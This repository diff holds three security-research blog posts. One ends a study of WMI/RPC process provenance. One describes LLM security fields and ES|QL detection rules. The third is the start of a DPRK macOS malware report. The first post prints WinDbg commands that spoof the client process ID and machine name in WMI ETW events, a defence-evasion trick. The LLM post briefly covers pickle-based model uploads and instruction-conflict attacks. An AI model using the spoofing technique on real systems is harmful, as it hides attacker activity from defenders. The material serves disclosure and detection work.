So now we know exactly how RPC intends to correlate activities triggered by RPC calls- by setting the per-thread ETW `ActivityId` and by logging RPC ActivityId correlations to `Microsoft-Windows-Networking-Correlation`. The next question is whether the Microsoft RPC interfaces that support dual-purpose activities, such as process spawning, propagate the `ActivityId` appropriately.
|
||||
|
||||
We looked at the execution traces for the four indirect process creation examples from our initial case study. In each one, the RPC request was received on one thread, a second thread handled the request and a third thread spawned the process. Other than the timing, there appeared to be no possible mechanism to link the activities.
|
||||
|
||||
Unfortunately, while the RPC subsystem is well behaved, most RPC servers aren't – though this likely isn't entirely their fault. The `ActivityId` is only preserved per-thread so if the server uses a worker thread pool (as per Microsoft’s [RPC scalability](https://learn.microsoft.com/en-us/windows/win32/rpc/scalability) advice) then the causality correlation is implicitly broken.
|
||||
|
||||
Further, kernel ETW events seem to universally log an `ActivityId` of `{00000000-0000-0000-0000-000000000000}` – even when the thread has a (user-mode) `ActivityId` configured. It is likely that the kernel implementation of `EtwWriteEvent` simply does not query the `ActivityId` which is stored in user-mode thread local storage.
|
||||
|
||||
This observation about kernel events is a showstopper for a generic approach based around ETW. Almost all of the interesting resultant server behaviors (process, registry, file etc) are logged by kernel ETW events.
|
||||
|
||||
A new approach was necessary. It isn’t scalable to investigate individual ETW providers in dual-purpose RPC servers. (Though the `Microsoft.Windows.ShellExecute` TraceLogging provider looked interesting). What would Microsoft do?
|
||||
|
||||
### What would Microsoft do?
|
||||
|
||||
More specifically, how does Microsoft populate the `ClientProcessId` in the `Microsoft-Windows-WMI-Activity` ETW event 23 (aka `Win32\_Process::Create` )?
|
||||
|
||||
```
|
||||
`task_023` (UnicodeString CorrelationId, UInt32 GroupOperationId, UInt32 OperationId, UnicodeString Commandline, UInt32 CreatedProcessId, UInt64 CreatedProcessCreationTime, UnicodeString ClientMachine, UnicodeString ClientMachineFQDN, UnicodeString User, UInt32 ClientProcessId, UInt64 ClientProcessCreationTime, Boolean IsLocal)
|
||||
```
|
||||
|
||||
Unlike RPC, WMI natively supports end-to-end tracing via a `CorrelationId` which is a GUID that the WMI client passes to the server at the WMI layer so that WMI operations can be associated. However, for security use cases, we shouldn’t blindly trust client-supplied information for reasons previously mentioned.
|
||||
|
||||
But how was Microsoft determining the process id to log and was their approach something that could be replicated for other RPC Servers – possibly via an RPC server runtime hook?
|
||||
|
||||
We needed to find out where the data in that field came from. ETW conveniently provides the ability to record a stack trace when an event is generated and the [Sealighter](https://github.com/pathtofile/Sealighter) tool conveniently exposes this capability. Sealighter illustrates which specific ETW Write function is being called from which process.
|
||||
|
||||
In this case, the event was actually being written by `ntdll!EtwEventWrite` in the WMI Core Service (svchost.exe -k netsvcs -p -s Winmgmt) – not in the WMI Provider Host (WmiPrvSE.exe).
|
||||
|
||||

|
||||
|
||||
Putting a breakpoint on `PublishWin32ProcessCreation` , we see via parameter value inspection that the `ClientProcessId` is passed (on the stack) as the 10th parameter. We can then look at `InspectWin32ProcessCreateExecution` to determine how the value that is passed in is determined.
|
||||
|
||||
A roughly tidied Ghidra decompilation of `InspectWin32ProcessCreateExecution` might resemble this:
|
||||
|
||||

|
||||
|
||||
We can see that the client process id comes from the `CWbemNamespace` object. Searching for reference to this structure field, we find that it is only set in `CWbemNamespace::Initialize`. Our earlier stack trace started in `wbemcore!CCoreQueue` and this initialization appears to have occurred prior to queuing. So we could statically search for all locations where the initialization occurs or dynamically observe the actual code paths taken.
|
||||
|
||||
We know that this activity is being initiated over RPC, so one approach would be to place breakpoints on RPC send/receive functions in the client and server. An alternative might be to fire up Wireshark and examine the packet capture of the entire interaction when it occurs in cleartext over the network. We learned somewhat late in our research that Microsoft had excellent documentation for the [WMI Protocol Initialization](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmi/1106e73c-9a7c-4e25-9216-0a5d8e581d62) that explained much of this and might have saved a little time.
|
||||
|
||||
We took the first approach. The second parameter to `InspectWin32ProcessCreateExecution` is an [`IWbemContext`](https://docs.microsoft.com/en-us/windows/win32/api/wbemcli/nn-wbemcli-iwbemcontext) – which allows the caller to provide additional information to providers. This is how the parameters to `Win32\_Process::Create` are being passed. What if the first parameter was related to the WMI Client passing additional context to the WMI Core?
|
||||
|
||||
`IWbemLevel1Login::NTLMLogin` stood out in the call traces as a good place to start looking.
|
||||
|
||||

|
||||
|
||||
And right next to its COM interface UUID was IWbemLoginClientID[Ex] which had a very interesting `SetClientInfo` call, which was documented on MSDN:
|
||||
|
||||

|
||||
|
||||
The WMI client calls `wbemprox!SetClientIdentity` which looks roughly like this:
|
||||
|
||||

|
||||
|
||||
`IWbemLoginClientIDEx` is currently undocumented, but we can infer the parameters from the values passed.
|
||||
|
||||
At this point, it looks like the client process is passing `ClientMachineName` , `ClientMachineFQDN` , `ClientProcessId` and `ClientProcessCreationTime` to the WMI Core. We can confirm this by changing the values and seeing if the ETW event logged by the WMI Core changes.
|
||||
|
||||
Using WinDbg, we set up a couple quick patches to the WMI client process and then spawned a process via WMI:
|
||||
|
||||
```
|
||||
windbg> bp wbemprox!SetClientIdentity+0xff "eu @rdx \"SPOOFED....\"; gc"
|
||||
windbg> bp wbemprox!SetClientIdentity+0x1c4 "r r9=0n1337; eu @r8 \"SPOOFED.COM\"; gc"
|
||||
PS> ([wmiclass]"ROOT\CIMv2:Win32_Process").Create("calc.exe")
|
||||
```
|
||||
|
||||
Using SilkETW (or another ETW capture mechanism), we see the following event from the server process:
|
||||
|
||||

|
||||
|
||||
The server is blindly reporting the values provided by the client. This means that this event cannot be relied upon for un-breaking WMI process provenance trees as the adversary can control the client process id. Falsely reporting this information would be an interesting defense evasion, and a tough one to identify reliably.
|
||||
|
||||
Further, a remote adversary can actually pass in a `ClientMachine` name equal to the local hostname and this WMI event will mistakenly log IsLocal as true. (See the earlier decompilation of `InspectWin32ProcessCreateExecution` ). This will make the event seem like a suspicious local execution rather than lateral movement, and represents another defence evasion opportunity.
|
||||
|
||||
So, this isn’t an approach that other RPC servers should follow after all.
|
||||
|
||||
## Conclusion
|
||||
|
||||
In trying to generically solve LRPC provenance, we unfortunately demonstrate that the one existing LRPC provenance data point is unreliable. This has been reported to Microsoft where it was assessed as a next-version candidate bug that will be evaluated for future releases.
|
||||
|
||||
Our fervent hope is that the ultimate solution involves the creation of a documented API that allows a server LRPC thread to determine the client thread of a connection. This would provide endpoint security products with a reliable mechanism to identify operations being proxied through LRPC calls in an attempt to hide their origin.
|
||||
|
||||
More generally though, this research highlights the need for defenders to have a detailed understanding of data provenance. It is necessary but not sufficient to know that the data was logged by a trustworthy source such as the kernel or a server process. In addition, you must also understand whether the data was intrinsic to the event or provided by a potentially untrustworthy client. Otherwise adversaries will exploit the gaps.
|
|
@ -0,0 +1,252 @@
|
|||
---
|
||||
title: "Elastic Advances LLM Security with Standardized Fields and Integrations"
|
||||
slug: "elastic-advances-llm-security"
|
||||
date: "2024-05-06"
|
||||
subtitle: "Explore How Elastic's New LLM Security Strategies Enhance Detection, Standardization, and Protection Across the LLM Ecosystem"
|
||||
description: "Discover Elastic’s latest advancements in LLM security, focusing on standardized field integrations and enhanced detection capabilities. Learn how adopting these standards can safeguard your systems."
|
||||
author:
|
||||
- slug: mika-ayenson
|
||||
- slug: dan-kortschak
|
||||
- slug: jake-king
|
||||
- slug: susan-chang
|
||||
- slug: andrew-kroh
|
||||
image: "Security Labs Images 4.jpg"
|
||||
category:
|
||||
- slug: detection-science
|
||||
- slug: machine-learning
|
||||
- slug: generative-ai
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
Last week, security researcher Mika Ayenson [authored a publication](https://www.elastic.co/security-labs/embedding-security-in-llm-workflows) highlighting potential detection strategies and an LLM content auditing prototype solution via a proxy implemented during Elastic’s OnWeek event series. This post highlighted the importance of research pertaining to the safety of LLM technology implemented in different environments, and the research focus we’ve taken at Elastic Security Labs.
|
||||
|
||||
Given Elastic's unique vantage point leveraging LLM technology in our platform to power capabilities such as the Security [AI Assistant](https://www.elastic.co/guide/en/security/current/security-assistant.html), our desire for more formal detection rules, integrations, and research content has been growing. This publication highlights some of the recent advancements we’ve made in LLM integrations, our thoughts around detections aligned with industry standards, and ECS field mappings.
|
||||
|
||||
We are committed to a comprehensive security strategy that protects not just the direct user-based LLM interactions but also the broader ecosystem surrounding them. This approach involves layers of security detection engineering opportunities to address not only the LLM requests/responses but also the underlying systems and integrations used by the models.
|
||||
|
||||
These detection opportunities collectively help to secure the LLM ecosystem and can be broadly grouped into five categories:
|
||||
|
||||
1. **Prompt and Response**: Detection mechanisms designed to identify and mitigate threats based on the growing variety of LLM interactions to ensure that all communications are securely audited.
|
||||
2. **Infrastructure and Platform**: Implementing detections to protect the infrastructure hosting LLMs (including wearable AI Pin devices), including detecting threats against the data stored, processing activities, and server communication.
|
||||
3. **API and Integrations**: Detecting threats when interacting with LLM APIs and protecting integrations with other applications that ingest model output.
|
||||
4. **Operational Processes and Data**: Monitoring operational processes (including in AI agents) and data flows while protecting data throughout its lifecycle.
|
||||
5. **Compliance and Ethical**: Aligning detection strategies with well-adopted industry regulations and ethical standards.
|
||||
|
||||

|
||||
Securing the LLM Ecosystem: five categories
|
||||
|
||||
Another important consideration for these categories expands into who can best address risks or who is responsible for each category of risk pertaining to LLM systems.
|
||||
|
||||
Similar to existing [Shared Security Responsibility](https://www.cisecurity.org/insights/blog/shared-responsibility-cloud-security-what-you-need-to-know) models, Elastic has assessed four broad categories, which will eventually be expanded upon further as we continue our research into detection engineering strategies and integrations. Broadly, this publication considers security protections that involve the following responsibility owners:
|
||||
|
||||
- **LLM Creators**: Organizations who are building, designing, hosting, and training LLMs, such as OpenAI, Amazon Web Services, or Google
|
||||
- **LLM Integrators**: Organizations and individuals who integrate existing LLM technologies produced by LLM Creators into other applications
|
||||
- **LLM Maintainers**: Individuals who monitor operational LLMs for performance, reliability, security, and integrity use-cases and remain directly involved in the maintenance of the codebase, infrastructure, and software architecture
|
||||
- **Security Users**: People who are actively looking for vulnerabilities in systems through traditional testing mechanisms and means. This may expand beyond the traditional risks discussed in [OWASP’s LLM Top 10](https://llmtop10.com/) into risks associated with software and infrastructure surrounding these systems
|
||||
|
||||
This broader perspective showcases a unified approach to LLM detection engineering that begins with ingesting data using native Elastic [integrations](https://www.elastic.co/integrations); in this example, we highlight the AWS Bedrock Model Invocation use case.
|
||||
|
||||
## Integrating LLM logs into Elastic
|
||||
|
||||
Elastic integrations simplify data ingestion into Elastic from various sources, ultimately enhancing our security solution. These integrations are managed through Fleet in Kibana, allowing users to easily deploy and manage data within the Elastic Agent. Users can quickly adapt Elastic to new data sources by selecting and configuring integrations through Fleet. For more details, see Elastic’s [blog](https://www.elastic.co/blog/elastic-agent-and-fleet-make-it-easier-to-integrate-your-systems-with-elastic) on making it easier to integrate your systems with Elastic.
|
||||
|
||||
The initial ONWeek work undertaken by the team involved a simple proxy solution that extracted fields from interactions with the Elastic Security AI Assistant. This prototype was deployed alongside the Elastic Stack and consumed data from a vendor solution that lacked security auditing capabilities. While this initial implementation proved conceptually interesting, it prompted the team to invest time in assessing existing Elastic integrations from one of our cloud provider partners, [Amazon Web Services](https://docs.elastic.co/integrations/aws). This methodology guarantees streamlined accessibility for our users, offering seamless, one-click integrations for data ingestion. All ingest pipelines conform to ECS/OTel normalization standards, encompassing comprehensive content, including dashboards, within a unified package. Furthermore, this strategy positions us to leverage additional existing integrations, such as Azure and GCP, for future LLM-focused integrations.
|
||||
|
||||
### Vendor selection and API capabilities
|
||||
|
||||
When selecting which LLM providers to create integrations for, we looked at the types of fields we need to ingest for our security use cases. For the starting set of rules detailed here, we needed information such as timestamps and token counts; we found that vendors such as Azure OpenAI provided content moderation filtering on the prompts and generated content. LangSmith (part of the LangChain tooling) was also a top contender, as the data contains the type of vendor used (e.g., OpenAI, Bedrock, etc.) and all the respective metadata. However, this required that the user also have LangSmith set up. For this implementation, we decided to go with first-party supported logs from a vendor that provides LLMs.
|
||||
|
||||
As we went deeper into potential integrations, we decided to land with AWS Bedrock, for a few specific reasons. Firstly, Bedrock logging has [first-party support](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html) to Amazon CloudWatch Logs and Amazon S3. Secondly, the logging is built specifically for model invocation, including data specific to LLMs (as opposed to other operations and machine learning models), including prompts and responses, and guardrail/content filtering. Thirdly, Elastic already has a [robust catalog](https://www.elastic.co/integrations/data-integrations?solution=all-solutions&category=aws) of integrations with AWS, so we were able to quickly create a new integration for AWS Bedrock model invocation logs specifically. The next section will dive into this new integration, which you can use to capture your Bedrock model invocation logs in the Elastic stack.
|
||||
|
||||
### Elastic AWS Bedrock model integration
|
||||
|
||||
#### Overview
|
||||
|
||||
The new Elastic [AWS Bedrock](https://docs.elastic.co/integrations/aws_bedrock) integration for model invocation logs provides a way to collect and analyze data from AWS services quickly, specifically focusing on the model. This integration provides two primary methods for log collection: Amazon S3 buckets and Amazon CloudWatch. Each method is optimized to offer robust data retrieval capabilities while considering cost-effectiveness and performance efficiency. We use these LLM-specific fields collected for detection engineering purposes.
|
||||
|
||||
Note: While this integration does not cover every proposed field, it does standardize existing AWS Bedrock fields into the gen_ai category. This approach makes it easier to maintain detection rules across various data sources, minimizing the need for separate rules for each LLM vendor.
|
||||
|
||||
### Configuring integration data collection method
|
||||
|
||||
#### Collecting logs from S3 buckets
|
||||
|
||||
This integration allows for efficient log collection from S3 buckets using two distinct methods:
|
||||
|
||||
- **SQS Notification**: This is the preferred method for collecting. It involves reading S3 notification events from an AWS Simple Queue Service (SQS) queue. This method is less costly and provides better performance compared to direct polling.
|
||||
- **Direct S3 Bucket Polling**: This method directly polls a list of S3 objects within an S3 bucket and is recommended only when SQS notifications cannot be configured. This approach is more resource-intensive, but it provides an alternative when SQS is not feasible.
|
||||
|
||||
#### Collecting logs from CloudWatch
|
||||
|
||||
Logs can also be collected directly from CloudWatch, where the integration taps into all log streams within a specified log group using the filterLogEvents AWS API. This method is an alternative to using S3 buckets altogether.
|
||||
|
||||
#### Integration installation
|
||||
|
||||
The integration can be set up within the Elastic Agent by following normal Elastic [installation steps](https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html).
|
||||
|
||||
1. Navigate to the AWS Bedrock integration
|
||||
2. Configure the ```queue_url``` for SQS or ```bucket_arn``` for direct S3 polling.
|
||||
|
||||

|
||||
|
||||
### Configuring Bedrock Guardrails
|
||||
|
||||
AWS Bedrock [Guardrails](https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails.html) enable organizations to enforce security by setting policies that limit harmful or undesirable content in LLM interactions. These guardrails can be customized to include denied topics to block specific subjects and content filters to moderate the severity of content in prompts and responses. Additionally, word and sensitive information filters block profanity and mask personally identifiable information (PII), ensuring interactions comply with privacy and ethical standards. This feature helps control the content generated and consumed by LLMs and, ideally, reduces the risk associated with malicious prompts.
|
||||
|
||||
Note: other guardrail examples include Azure OpenAI’s [content and response](https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/content-filter?tabs=warning%2Cpython-new) filters, which we aim to capture in our proposed LLM standardized fields for vendor-agnostic logging.
|
||||
|
||||

|
||||
|
||||
When LLM interaction content triggers these filters, the response objects are populated with ```amazon-bedrock-trace``` and ```amazon-bedrock-guardrailAction``` fields, providing details about the Guardrails outcome, and nested fields indicating whether the input matched the content filter. This response object enrichment with detailed filter outcomes improves the overall data quality, which becomes particularly effective when these nested fields are aligned with ECS mappings.
|
||||
|
||||
### The importance of ECS mappings
|
||||
|
||||
Field mapping is a critical part of the process for integration development, primarily to improve our ability to write broadly scoped and widely compatible detection rules. By standardizing how data is ingested and analyzed, organizations can more effectively detect, investigate, and respond to potential threats or anomalies in logs ingested into Elastic, and in this specific case, LLM logs.
|
||||
|
||||
Our initial mapping begins by investigating fields provided by the vendor and existing gaps, leading to the establishment of a comprehensive schema tailored to the nuances of LLM operations. We then reconciled the fields to align with our OpenTelemetry [semantic conventions](https://github.com/open-telemetry/semantic-conventions/blob/main/docs/gen-ai/llm-spans.md). These mappings shown in the table cover various aspects:
|
||||
|
||||
- **General LLM Interaction Fields**: These include basic but critical information such as the content of requests and responses, token counts, timestamps, and user identifiers, which are foundational for understanding the context and scope of interactions.
|
||||
- **Text Quality and Relevance Metric Fields**: Fields measuring text readability, complexity, and similarity scores help assess the quality and relevance of model outputs, ensuring that responses are not only accurate but also user-appropriate.
|
||||
- **Security Metric Fields**: This class of metrics is important for identifying and quantifying potential security risks, including regex pattern matches and scores related to jailbreak attempts, prompt injections, and other security concerns such as hallucination consistency and refusal responses.
|
||||
- **Policy Enforcement Fields**: These fields capture details about specific policy enforcement actions taken during interactions, such as blocking or modifying content, and provide insights into the confidence levels of these actions, enhancing security and compliance measures.
|
||||
- **Threat Analysis Fields**: Focused on identifying and quantifying potential threats, these fields provide a detailed analysis of risk scores, types of detected threats, and the measures taken to mitigate these threats.
|
||||
- **Compliance Fields**: These fields help ensure that interactions comply with various regulatory standards, detailing any compliance violations detected and the specific rules that were triggered during the interaction.
|
||||
- **OWASP Top Ten Specific Fields**: These fields map directly to the OWASP Top 10 risks for LLM applications, helping to align security measures with recognized industry standards.
|
||||
- **Sentiment and Toxicity Analysis Fields**: These analyses are essential to gauge the tone and detect any harmful content in the response, ensuring that outputs align with ethical guidelines and standards. This includes sentiment scores, toxicity levels, and identification of inappropriate or sensitive content.
|
||||
- **Performance Metric Fields**: These fields measure the performance aspects of LLM interactions, including response times and sizes of requests and responses, which are critical for optimizing system performance and ensuring efficient operations.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Note: See the [gist](https://gist.github.com/Mikaayenson/cf03f6d3998e16834c1274f007f2666c) for an extended table of fields proposed.
|
||||
|
||||
These fields are mapped by our LLM integrations and ultimately used within our detections. As we continue to understand the threat landscape, we will continue to refine these fields to ensure additional fields populated by other LLM vendors are standardized and conceptually reflected within the mapping.
|
||||
|
||||
### Broader Implications and Benefits of Standardization
|
||||
|
||||
Standardizing security fields within the LLM ecosystem (e.g., user interaction and application integration) facilitates a unified approach to the security domain. Elastic endeavors to lead the charge by defining and promoting a set of standard fields. This effort not only enhances the security posture of individual organizations but also fosters a safer industry.
|
||||
|
||||
**Integration with Security Tools**: By standardizing responses from LLM-related security tools, it enriches security analysis fields that can be shipped with the original LLM vendor content to a security solution. If operationally chained together in the LLM application’s ecosystem, security tools can audit each invocation request and response. Security teams can then leverage these fields to build complex detection mechanisms that can identify subtle signs of misuse or vulnerabilities within LLM interactions.
|
||||
|
||||
**Consistency Across Vendors**: Insisting that all LLM vendors adopt these standard fields drives a singular goal to effectively protect applications, but in a way that establishes a baseline that all industry users can adhere to. Users are encouraged to align to a common schema regardless of the platform or tool.
|
||||
|
||||
**Enhanced Detection Engineering**: With these standard fields, detection engineering becomes more robust and the change of false positives is decreased. Security engineers can create effective rules that identify potential threats across different models, interactions, and ecosystems. This consistency is especially important for organizations that rely on multiple LLMs or security tools and need to maintain a unified platform.
|
||||
|
||||
#### Sample LLM-specific fields: AWS Bedrock use case
|
||||
|
||||
Based on the integration’s ingestion pipeline, field mappings, and processors, the AWS Bedrock data is cleaned up, standardized, and mapped to Elastic Common Schema ([ECS](https://www.elastic.co/guide/en/ecs/current/ecs-reference.html)) fields. The core Bedrock fields are then introduced under the ```aws.bedrock``` group which includes details about the model invocation like requests, responses, and token counts. The integration populates additional fields tailored for the LLM to provide deeper insights into the model’s interactions which are later used in our detections.
|
||||
|
||||
### LLM detection engineering examples
|
||||
|
||||
With the standardized fields and the Elastic AWS Bedrock integration, we can begin crafting detection engineering rules that showcase the proposed capability with varying complexity. The below examples are written using [ES|QL](https://www.elastic.co/guide/en/security/8.13/rules-ui-create.html#create-esql-rule).
|
||||
|
||||
Note: Check out the detection-rules [hunting](https://github.com/elastic/detection-rules/tree/main/hunting) directory and [```aws_bedrock```](https://github.com/elastic/detection-rules/tree/main/rules/integrations/aws_bedrock) rules for more details about these queries.
|
||||
|
||||
#### Basic detection of sensitive content refusal
|
||||
|
||||
With current policies and standards on sensitive topics within the organization, it is important to have mechanisms in place to ensure LLMs also adhere to compliance and ethical standards. Organizations have an opportunity to monitor and capture instances where an LLM directly refuses to respond to sensitive topics.
|
||||
|
||||
**Sample Detection**:
|
||||
|
||||
```
|
||||
from logs-aws_bedrock.invocation-*
|
||||
| WHERE @timestamp > NOW() - 1 DAY
|
||||
AND (
|
||||
gen_ai.completion LIKE "*I cannot provide any information about*"
|
||||
AND gen_ai.response.finish_reasons LIKE "*end_turn*"
|
||||
)
|
||||
| STATS user_request_count = count() BY gen_ai.user.id
|
||||
| WHERE user_request_count >= 3
|
||||
```
|
||||
|
||||
**Detection Description**: This query is used to detect instances where the model explicitly refuses to provide information on potentially sensitive or restricted topics multiple times. Combined with predefined formatted outputs, the use of specific phrases like "I cannot provide any information about" within the output content indicates that the model has been triggered by a user prompt to discuss something it's programmed to treat as confidential or inappropriate.
|
||||
|
||||
**Security Relevance**: Monitoring LLM refusals helps to identify attempts to probe the model for sensitive data or to exploit it in a manner that could lead to the leakage of proprietary or restricted information. By analyzing the patterns and frequency of these refusals, security teams can investigate if there are targeted attempts to breach information security policies.
|
||||
|
||||
### Potential denial of service or resource exhaustion attacks
|
||||
|
||||
Due to the engineering design of LLMs being highly computational and data-intensive, they are susceptible to resource exhaustion and denial of service (DoS) attacks. High usage patterns may indicate abuse or malicious activities designed to degrade the LLM’s availability. Due to the ambiguity of correlating prompt request size directly with token count, it is essential to consider the implications of high token counts in prompts which may not always result from larger requests bodies. Token count and character counts depend on the specific model, where each can be different and is related to how embeddings are generated.
|
||||
|
||||
**Sample Detection**:
|
||||
|
||||
```
|
||||
from logs-aws_bedrock.invocation-*
|
||||
| WHERE @timestamp > NOW() - 1 DAY
|
||||
AND (
|
||||
gen_ai.usage.prompt_tokens > 8000 OR
|
||||
gen_ai.usage.completion_tokens > 8000 OR
|
||||
gen_ai.performance.request_size > 8000
|
||||
)
|
||||
| STATS max_prompt_tokens = max(gen_ai.usage.prompt_tokens),
|
||||
max_request_tokens = max(gen_ai.performance.request_size),
|
||||
max_completion_tokens = max(gen_ai.usage.completion_tokens),
|
||||
request_count = count() BY cloud.account.id
|
||||
| WHERE request_count > 1
|
||||
| SORT max_prompt_tokens, max_request_tokens, max_completion_tokens DESC
|
||||
```
|
||||
|
||||
**Detection Description**: This query identifies high-volume token usage which could be indicative of abuse or an attempted denial of service (DoS) attack. Monitoring for unusually high token counts (input or output) helps detect patterns that could slow down or overwhelm the system, potentially leading to service disruptions. Given each application may leverage a different token volume, we’ve chosen a simple threshold based on our existing experience that should cover basic use cases.
|
||||
|
||||
**Security Relevance**: This form of monitoring helps detect potential concerns with system availability and performance. It helps in the early detection of DoS attacks or abusive behavior that could degrade service quality for legitimate users. By aggregating and analyzing token usage by account, security teams can pinpoint sources of potentially malicious traffic and take appropriate measures.
|
||||
|
||||
#### Monitoring for latency anomalies
|
||||
|
||||
Latency-based metrics can be a key indicator of underlying performance issues or security threats that overload the system. By monitoring processing delays, organizations can ensure that servers are operating as efficiently as expected.
|
||||
|
||||
**Sample Detection**:
|
||||
|
||||
```
|
||||
from logs-aws_bedrock.invocation-*
|
||||
| WHERE @timestamp > NOW() - 1 DAY
|
||||
| EVAL response_delay_seconds = gen_ai.performance.start_response_time / 1000
|
||||
| WHERE response_delay_seconds > 5
|
||||
| STATS max_response_delay = max(response_delay_seconds),
|
||||
request_count = count() BY gen_ai.user.id
|
||||
| WHERE request_count > 3
|
||||
| SORT max_response_delay DESC
|
||||
```
|
||||
|
||||
**Detection Description**: This updated query monitors the time it takes for an LLM to start sending a response after receiving a request, focusing on the initial response latency. It identifies significant delays by comparing the actual start of the response to typical response times, highlighting instances where these delays may be abnormally long.
|
||||
|
||||
**Security Relevance**: Anomalous latencies can be symptomatic of issues such as network attacks (e.g., DDoS) or system inefficiencies that need to be addressed. By tracking and analyzing latency metrics, organizations can ensure that their systems are running efficiently and securely, and can quickly respond to potential threats that might manifest as abnormal delays.
|
||||
|
||||
## Advanced LLM detection engineering use cases
|
||||
|
||||
This section explores potential use cases that could be addressed with an Elastic Security integration. It assumes that these fields are fully populated and that necessary security auditing enrichment features (e.g., Guardrails) have been implemented, either within AWS Bedrock or via a similar approach provided by the LLM vendor. In combination with the available data source and Elastic integration, detection rules can be built on top of these Guardrail requests and responses to detect misuse of LLMs in deployment.
|
||||
|
||||
### Malicious model uploads and cross-tenant escalation
|
||||
|
||||
A recent investigation into the Hugging Face Interface API revealed a significant risk where attackers could upload a maliciously crafted model to perform arbitrary code execution. This was achieved by using a Python Pickle file that, when deserialized, executed embedded malicious code. These vulnerabilities highlight the need for rigorous security measures to inspect and sanitize all inputs in AI-as-a-Service (AIAAS) platforms from the LLM, to the infrastructure that hosts the model, and the application API integration. Refer to [this article](https://www.wiz.io/blog/wiz-and-hugging-face-address-risks-to-ai-infrastructure) for more details.
|
||||
|
||||
**Potential Detection Opportunity**: Use fields like ```gen_ai.request.model.id```, ```gen_ai.request.model.version```, and prompt ```gen_ai.completion``` to detect interactions with anomalous models. Monitoring unusual values or patterns in the model identifiers and version numbers along with inspecting the requested content (e.g., looking for typical Python Pickle serialization techniques) may indicate suspicious behavior. Similarly, a check prior to uploading the model using similar fields may block the upload. Cross-referencing additional fields like ```gen_ai.user.id``` can help identify malicious cross-tenant operations performing these types of activities.
|
||||
|
||||
### Unauthorized URLs and external communication
|
||||
|
||||
As LLMs become more integrated into operational ecosystems, their ability to interact with external capabilities like email or webhooks can be exploited by attackers. To protect against these interactions, it’s important to implement detection rules that can identify suspicious or unauthorized activities based on the model’s outputs and subsequent integrations.
|
||||
|
||||
**Potential Detection Opportunity**: Use fields like ```gen_ai.completion```, and ```gen_ai.security.regex_pattern_count``` to triage malicious external URLs and webhooks. These regex patterns need to be predefined based on well-known suspicious patterns.
|
||||
|
||||
#### Hierarchical instruction prioritization
|
||||
|
||||
LLMs are increasingly used in environments where they receive instructions from various sources (e.g., [ChatGPT Custom Instructions](https://openai.com/blog/custom-instructions-for-chatgpt)), which may not always have benign intentions. This build-your-own model workflow can lead to a range of potential security vulnerabilities, if the model treats all instructions with equal importance, and they go unchecked. Reference [here](https://arxiv.org/pdf/2404.13208.pdf).
|
||||
|
||||
**Potential Detection Opportunity**: Monitor fields like ```gen_ai.model.instructions``` and ```gen_ai.completion``` to identify discrepancies between given instructions and the models responses which may indicate cases where models treat all instructions with equal importance. Additionally, analyze the ```gen_ai.similarity_score```, to discern how similar the response is from the original request.
|
||||
|
||||
### Extended detections featuring additional Elastic rule types
|
||||
|
||||
This section introduces additional detection engineering techniques using some of Elastic’s rule types, Threshold, Indicator Match, and New Terms to provide a more nuanced and robust security posture.
|
||||
|
||||
- **Threshold Rules**: Identify high frequency of denied requests over a short period of time grouped by ```gen_ai.user.id``` that could be indicative of abuse attempts. (e.g. OWASP’s LLM04)
|
||||
- **Indicator Match Rules**: Match known malicious threat intel provided indicators such as the LLM user ID like the ```gen_ai.user.id``` which contain these user attributes. (e.g. ``arn:aws:iam::12345678912:user/thethreatactor``)
|
||||
- **New Terms Rules**: Detect new or unusual terms in user prompts that could indicate usual activity outside of the normal usage for the user’s role, potentially indicating new malicious behaviors.
|
||||
|
||||
## Summary
|
||||
|
||||
Elastic is pioneering the standardization of LLM-based fields across the generative AI landscape to enable security detections across the ecosystem. This initiative not only aligns with our ongoing enhancements in LLM integration and security strategies but also supports our broad security framework that safeguards both direct user interactions and the underlying system architectures. By promoting a uniform language among LLM vendors for enhanced detection and response capabilities, we aim to protect the entire ecosystem, making it more secure and dependable. Elastic invites all stakeholders within the industry, creators, maintainers, integrators and users, to adopt these standardized practices, thereby strengthening collective security measures and advancing industry-wide protections.
|
||||
|
||||
As we continue to add and enhance our integrations, starting with AWS Bedrock, we are strategizing to align other LLM-based integrations to the new standards we’ve set, paving the way for a unified experience across the Elastic ecosystem. The seamless overlap with existing Elasticsearch capabilities empowers users to leverage sophisticated search and analytics directly on the LLM data, driving existing workflows back to tools users are most comfortable with.
|
||||
|
||||
Check out the [LLM Safety Assessment](https://www.elastic.co/security/llm-safety-report), which delves deeper into these topics.
|
||||
|
||||
__The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.__
|
|
@ -0,0 +1,671 @@
|
|||
---
|
||||
title: "Elastic catches DPRK passing out KANDYKORN"
|
||||
slug: "elastic-catches-dprk-passing-out-kandykorn"
|
||||
date: "2023-11-01"
|
||||
description: "Elastic Security Labs exposes an attempt by the DPRK to infect blockchain engineers with novel macOS malware."
|
||||
author:
|
||||
- slug: colson-wilhoit
|
||||
- slug: ricardo-ungureanu
|
||||
- slug: seth-goodwin
|
||||
- slug: andrew-pease
|
||||
image: "photo-edited-01@2x.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
- slug: attack-pattern
|
||||
- slug: activity-group
|
||||
tags:
|
||||
- ref7001
|
||||
- KANDYKORN
|
||||
- SUGARLOADER
|
||||
- HLOADER
|
||||
- DPRK
|
||||
- Lazarus Group
|
||||
- Crypto
|
||||
- Financial Motivation
|
||||
---
|
||||
|
||||
## Preamble
|
||||
|
||||
Elastic Security Labs is disclosing a novel intrusion targeting blockchain engineers of a crypto exchange platform. The intrusion leveraged a combination of custom and open source capabilities for initial access and post-exploitation.
|
||||
|
||||
We discovered this intrusion when analyzing attempts to reflectively load a binary into memory on a macOS endpoint. The intrusion was traced to a Python application posing as a cryptocurrency arbitrage bot delivered via a direct message on a public Discord server.
|
||||
|
||||
We attribute this activity to DPRK and recognize overlaps with the Lazarus Group based on our analysis of the techniques, network infrastructure, code-signing certificates, and custom Lazarus Group detection rules; we track this intrusion set as REF7001.
|
||||
|
||||
### Key takeaways
|
||||
* Threat actors lured blockchain engineers with a Python application to gain initial access to the environment
|
||||
